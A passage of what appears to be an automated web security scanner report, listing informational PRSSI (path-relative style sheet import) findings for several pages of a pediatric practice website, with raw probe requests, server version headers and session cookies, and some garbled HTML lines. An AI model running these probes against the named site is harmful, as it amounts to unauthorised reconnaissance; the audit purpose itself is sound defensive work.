GET /office-policies.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=gm19dmv7p4e76jmq6squc3nip3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/office-policies.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:26:58 GMT
 Connection: close

 Content-Length: 10716
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /office-policies.php/trtvkd/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=gm19dmv7p4e76jmq6squc3nip3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/office-policies.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:31:28 GMT
 Connection: close

 Content-Length: 10716
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /office-policies.php/trtvkd/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=gm19dmv7p4e76jmq6squc3nip3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/office-policies.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:31:29 GMT
 Connection: close

 Content-Length: 10716
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.22. http://www.yourwebsite.com/patient-center.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /patient-center.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /patient-center.php HTTP/1.1
Host: www.cumberlandpediatrics.com
Cookie: PHPSESSID=h1ul9hriptc9hrnumpnvesihp5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://www.yourwebsite.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Cache-Control: max-age=0

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:13:17 GMT
 Connection: close

 Content-Length: 18856
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /patient-center.php/clhlu0/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=h1ul9hriptc9hrnumpnvesihp5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:14:49 GMT
 Connection: close

 Content-Length: 18856
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /patient-center.php/clhlu0/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=h1ul9hriptc9hrnumpnvesihp5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:14:53 GMT
 Connection: close

 Content-Length: 18856
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.23. http://www.yourwebsite.com/patient-education.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /patient-education.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /patient-education.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q38ja47d933rurqheflk39eot2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/patient-education.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:12:23 GMT
 Connection: close

 Content-Length: 9894
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /patient-education.php/eq9y8l/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q38ja47d933rurqheflk39eot2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/patient-education.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:16:31 GMT
 Connection: close

 Content-Length: 9894
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /patient-education.php/eq9y8l/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q38ja47d933rurqheflk39eot2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/patient-education.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:16:35 GMT
 Connection: close

 Content-Length: 9894
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.24. http://www.yourwebsite.com/patient-forms.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /patient-forms.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /patient-forms.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ahc3kusca2o2qoia8b4mf8t3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/patient-center.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:10 GMT
 Connection: close

 Content-Length: 17354
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /patient-forms.php/vbh4vr/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ahc3kusca2o2qoia8b4mf8t3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/patient-center.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:10:01 GMT
 Connection: close

 Content-Length: 17354
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /patient-forms.php/vbh4vr/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ahc3kusca2o2qoia8b4mf8t3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/patient-center.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:10:02 GMT
 Connection: close

 Content-Length: 17354
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.25. http://www.yourwebsite.com/patient-portal.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /patient-portal.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /patient-portal.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1g4cnlimvcr029gah2h1r1ll63
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:12:34 GMT
 Connection: close

 Content-Length: 6229
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /patient-portal.php/c6k5xd/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1g4cnlimvcr029gah2h1r1ll63
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:13:45 GMT
 Connection: close

 Content-Length: 6229
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /patient-portal.php/c6k5xd/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1g4cnlimvcr029gah2h1r1ll63
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:13:46 GMT
 Connection: close

 Content-Length: 6229
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.26. http://www.yourwebsite.com/physicians.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /physicians.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /physicians.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=vk007hsi0a82l7dhump0mfu0i2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.12
X-Powered-By: ASP.NET
Date: Thu, 07 Apr 2022 01:30:54 GMT
Connection: close
Content-Length: 8676

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv
...[SNIP]...
<meta name="viewport" content="width=320, user-scalable=no" />
<link href="styles-mobile.css" rel="stylesheet" media="screen"/>
<li k l " h t t i " h f "f i i " />

Request 2

GET /physicians.php/ydfnyr/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=vk007hsi0a82l7dhump0mfu0i2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:34:51 GMT
 Connection: close

 Content-Length: 8676
 

